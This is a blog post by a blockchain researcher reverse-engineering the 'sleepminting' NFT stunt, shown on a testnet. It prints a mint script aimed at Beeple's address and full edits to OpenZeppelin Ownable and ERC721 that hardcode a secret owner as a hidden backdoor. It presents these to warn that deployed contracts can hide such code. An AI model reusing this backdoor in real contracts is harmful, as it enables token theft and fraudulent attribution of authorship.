How to sleepmint NFT tokens

Keir Finlow-Bates
10 min readApr 24, 2021

And what sleepminting actually signifies

Brendan Cooper (the director of NFT, Blockchain and Digital Systems at the collectables company Panini) pointed me at a very interesting article about how an anonymous person known only as Monsieur Personne managed to mint an ERC721 token that looked like it had been created by Beeple (the digital artist who made the news by selling an NFT of his art for 69 million US dollars), and then transferred it out of Beeple’s wallet and into his own.

As someone passionately involved in the use and promotion of non-fungible tokens as a valuable extension to the collectables market, Brendan was naturally concerned about what impact this development would have on the future of the digitization of items that are valued and sought by collectors.

I used to think that I wasn’t a “collector”, but recently I have come to realize that the fact that I have a grandfather clock from 1776 (which I am excessively proud of) and that I went to the effort of obtaining a set of six Soviet motherhood medals for my wife as a mother’s day present is clear evidence that at some level, I am.

And I am definitely passionate about blockchain and everything that springs forth from it, so the Artnet article felt like a challenge. Especially since it mentioned that an NFT expert had been unable to determine how the stunt had actually been performed.

To quote Barney Stinson — I boldly declared “Challenge Accepted!” and three hours later I managed to crack the problem (it would have been two, but I had to cook dinner for the kids in the middle of my investigation).

And so in this article, I will walk you through how to mint an NFT in the name of Beeple, and how to then transfer it to your own wallet. It turned out to be surprisingly simple, but I think that the ramifications of my reverse-engineering of Monsieur Personne’s work are quite significant.

Alchemy and Chemistry

The company Alchemy offers not only an API that makes it easier to deploy smart contracts to the Ethereum blockchain but also a selection of tutorials, including a very clear one on how to mint your own NFTs. And if you’re a hobbyist then their services are free.

If you are a smart contract developer and also like a challenge, work your way through the tutorial before you continue reading (I do recommend deploying it on the Rinkeby testnet to ensure you don’t spend any mainnet ether on this exercise).

For the rest of you — there will be coding gobbledygook that won’t make sense, but I will surround it with non-techie paragraphs that explain what is going on.

Any developer worth their salt who follows the tutorial will end up with two things — a folder on their computer containing a surprising number of files, and a smart contract instantiating an NFT token complying with the ERC721 standard on an Ethereum blockchain.

This is where the fun begins.

Blockchain is about Ownership

So what went through my mind when I read the Artnet article? Well, the first thing was that surely the digital signing algorithm hadn’t been broken?

After all, if someone had worked out how to sign Ethereum transactions without knowing the private key, then they wouldn’t waste their time on silly NFT games involving digital artists.

You should read this to the tune of “Another Brick in the Wall” by Pink Floyd

They’d steal Vitalik Buterin’s ether stash, or something equally valuable instead.

That meant that this “heist” was actually a confidence trick. So let’s look at the two things that happen in this activity:

  1. mint an NFT into the wallet of a famous person (i.e. Beeple)
  2. transfer the NFT out of the wallet and into your own

How can we subvert those two steps?

Step One: you mint the NFT to someone else

The first step is surprisingly simple. The NFT tutorial code includes a page on how to mint an NFT once you have deployed the smart contract, and part of the code looks like this:

require(‘dotenv’).config();
const API_URL = process.env.RINKEBY_API_URL;
const PUBLIC_KEY = process.env.PUBLIC_KEY;
const PRIVATE_KEY = process.env.PRIVATE_KEY;
const tx = {
‘from’: PUBLIC_KEY,
‘to’: contractAddress,
‘nonce’: nonce,
‘gas’: 500000,
‘data’: nftContract.methods.mintToken(PUBLIC_KEY, tokenURI).encodeABI()
};

All you have to do is change the code to mint the NFT directly to Beeple’s Ethereum address instead of your own:

require('dotenv').config();
const API_URL = process.env.RINKEBY_API_URL;
const PUBLIC_KEY = process.env.PUBLIC_KEY;
const PRIVATE_KEY = process.env.PRIVATE_KEY;
const BEEPLE_KEY = "0xc6b0562605D35eE710138402B878ffe6F2E23807"
...const tx = {
'from': PUBLIC_KEY,
'to': contractAddress,
'nonce': nonce,
'gas': 500000,
'data': nftContract.methods.mintToken(BEEPLE_KEY, tokenURI).encodeABI()
};

Note that in the second code block, the nftContract.methods.mintToken function has BEEPLE_KEY instead of your own PUBLIC_KEY as its first argument.

The result of this is that the initial minting transaction looks like this at the bottom of the token entry on OpenSea.io:

Further up the page OpenSea even labels the token as having been created by C6B056 (as I am using the Rinkeby testnet, the creator shows up as an address, because Beeple has only added his name and details to the mainnet OpenSea database).

From this, we can see that it is a mistake to assume that the first NFT transaction (the minting and transfer from the 0x000000 address to a personal Ethereum address) indicates who created the token in the first place.

Note that I have not made Monsieur Personne’s mistake of copying Beeple’s art and creating a token pointing to the copy. That could open me up to a copyright infringement suit. Instead, I’ve used an image that I own the copyright to, and I’ve created the JSON metadata file to point to it on the IPFS, and I’ve ensured that the data in the metadata file is accurate.

So it looks like Beeple has minted an NFT referring to my art, which opens him up to a copyright infringement suit instead.

But of course, he hasn’t, so it doesn’t.

Ownable Back Doors

I’ve achieved aim 1, namely making it look like Beeple minted my token. But now I am stuck — the token is locked in Beeple’s account, and only he can transfer it.

But hang on! The only reason why only Beeple can transfer the token onward is because the code says so. And that code is provided by OpenZeppelin.

Here — have a look at the source code of my ERC721-instantiating contract:

//Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract primes is ERC721, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
constructor() ERC721("sleepMintToken", "SMT") public {}function mintToken(address recipient, string memory tokenURI)
public onlyOwner
returns (uint256)
{
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(recipient, newItemId);
_setTokenURI(newItemId, tokenURI);
return newItemId;
}
}

Those three import statements use standard smart contracts, provided by OpenZeppelin, which implement all the interfaces and functions required for an ERC721-compliant token.

When deploying an ERC721 contract, one of the steps is to install these contract templates, using the following command:

$ npm install @openzeppelin/contracts@3.1.0-solc-0.7

The source files are then copied into a subfolder of your project, and if you want to, you can edit them before you compile your contracts.

And that means I can edit the Ownable.sol contract and the ERC721.sol contract so that one of my Ethereum addresses (namely 0x2830B5a3b5242BC2c64C390594ED971E7deD47D2) is automatically also a second owner of the contract, and any token minted using it.

Taking ownership of the contract

Ownable.sol is in the ./node_modules/@openzeppelin/contracts/access folder. I inserted a new variable definition in the file at line 20 by adding the following:

18 contract Ownable is Context {
19 address private _owner;
20 address private _secretOwner = 0x2830B5a3b5242BC2c64C390594ED971E7deD47D2;

And I changed the onlyOwner() function to not just check whether the contract is being called by the contract owner or not, but also to allow any ownership action if the caller is my Ethereum address:

43 modifier onlyOwner() {
44 require((owner() == _msgSender() || _secretOwner == _msgSender()), "Ownable: caller is not the owner");
45 _;
46 }

See — it’s that || _secretOwner == _msgSender()part. Line 44 means:

bail from the current action if the person sending the action isn’t the owner or the secret owner

Unfortunately backdoors are not usually as obvious as this one

All the above gives me a backdoor into the ownership of the contract. I can transfer ownership of the deployed contract to Beeple using the Ownable transferOwnership() function (which will make it look even more like he deployed the contract in the first place), but with the backdoor, I can always claim it back from underneath him.

Furthermore, if the ownership of the contract is renounced using the Ownable renounceOwnership() function, which normally disables all Ownable functions, I will still be able to call them using my backdoor.

Taking ownership of the token

Now I need to edit the ERC721.sol template in a similar manner, to ensure that any action on the token, such as approving a transfer or actually transferring it onwards can be done not just by the token owner, but by my backdoor address.

So I inserted the following at line 90, at the end of the constants and variables declaration section:

90    address private _secretOwner = 0x2830B5a3b5242BC2c64C390594ED971E7deD47D2;

And then I edited the approve() function and the _isApprovedOrOwner() function:

190 function approve(address to, uint256 tokenId) 
191 public virtual override {
192 address owner = ownerOf(tokenId);
193 require(to != owner,
194 "ERC721: approval to current owner");
195 require(_msgSender() == owner ||
196 isApprovedForAll(owner, _msgSender()) ||
197 _msgSender() == _secretOwner,
198 "ERC721: approve caller is not owner nor approved for all"
199 );
200 _approve(to, tokenId);
196 }

There you can see my sneaky addition at line 197.

294 function _isApprovedOrOwner(address spender, uint256 tokenId) 
295 internal view returns (bool) {
296 require(_exists(tokenId),
297 "ERC721: operator query for nonexistent token");
298 address owner = ownerOf(tokenId);
299 return (spender == owner ||
300 getApproved(tokenId) == spender ||
301 isApprovedForAll(owner, spender) ||
302 spender == _secretOwner );
303 }

And there’s another sneaky addition at line 302.

Now I can go through the compilation of the contracts, the deployment to a network (Rinkeby if I’m cheap, which I am, or mainnet if I’m happy to spend some real money, which I’m not).

Note that this vast monument of work only requires two changes to Ownable.sol and three changes to ERC721.sol. It is really not complicated, so I think Monsieur Personne was trying to inflate the difficulty of the work he had done.

That doesn’t mean that this whole process is insignificant, though. Far from it.

The Full Monty

And so I went through the whole process again, deploying the hacked contract, minting another token in Beeple’s name, and then … transferring the token to my own personal Ethereum address.

And you can see the results at OpenSea:

According to OpenSea, this is a token issued by Beeple (address C6B056) and then transferred to me.

This is exactly what Monsieur Personne did in the NFTheft project.

If you want to have a go at doing all the above yourself, sometime in the next week I will put sample code and instructions in a Github repository at:

https://github.com/kf106/sleepmint-template

Conclusion

The most significant thing to note is that the above hack can be played on any of the token contracts out there. The hack can be pulled on ERC1155 contracts. ERC20 tokens like Aave, Binance, Tether USD, Uniswap, or Chainlink could theoretically also have been deployed with such a backdoor allowing some shadowy person to seize any of these tokens from any address at any time.

I’m not saying that this is the case … but it could be.

And an audit of the code that these groups have put in a public repository is not enough. You would actually have to go to the contract on the blockchain, decompile it, and check that the malicious additional code has not been added.

Or at the very least, you have to check that the published source code does indeed compile to the deployed Ethereum bytecode. And stay well clear of any code that doesn’t.

But this kind of investigation is not trivial. Look at this quote from the article that sent me down the sleepminting rabbit hole:

Kevin McCoy, the creator of the first NFT, tried running Personne’s sleepminting smart contract through a decompiler to get more insight into the source code. His highly technical, highly candid snap take on the results was that they were “fucking crazy” with “all kinds of shit going on,” but he could not decipher the actual function responsible for the mischief.

If the creator of the first NFT can’t work it out, then how is an average DeFi user going to know what is reliable, and what is not?

Goya monsters contemplating the minting of NFTs

Sleep well, and don’t have nightmares!

About the Author

Evidence that I am very much a family man

Keir Finlow-Bates is a blockchain researcher, inventor, and author.

You can buy a copy of his book, “Move Over Brokers Here Comes The Blockchain” — the cover of which was featured in this article as a sample piece of art — at http://mybook.to/moveover.

He does not mint and sell non-fungible tokens.

Further Reading

You may find some of the following other things that I’ve written or recorded of interest:

Ready Artist One! : why the current art NFTs are less valuable than you would think.

Magical Internet Money : a short piece on the collective delusion that drives abstract stores of value.

Keir on Blockchain : my Youtube channel, where I explain complex blockchain concepts in simple yet accurate ways using analogies.

--

--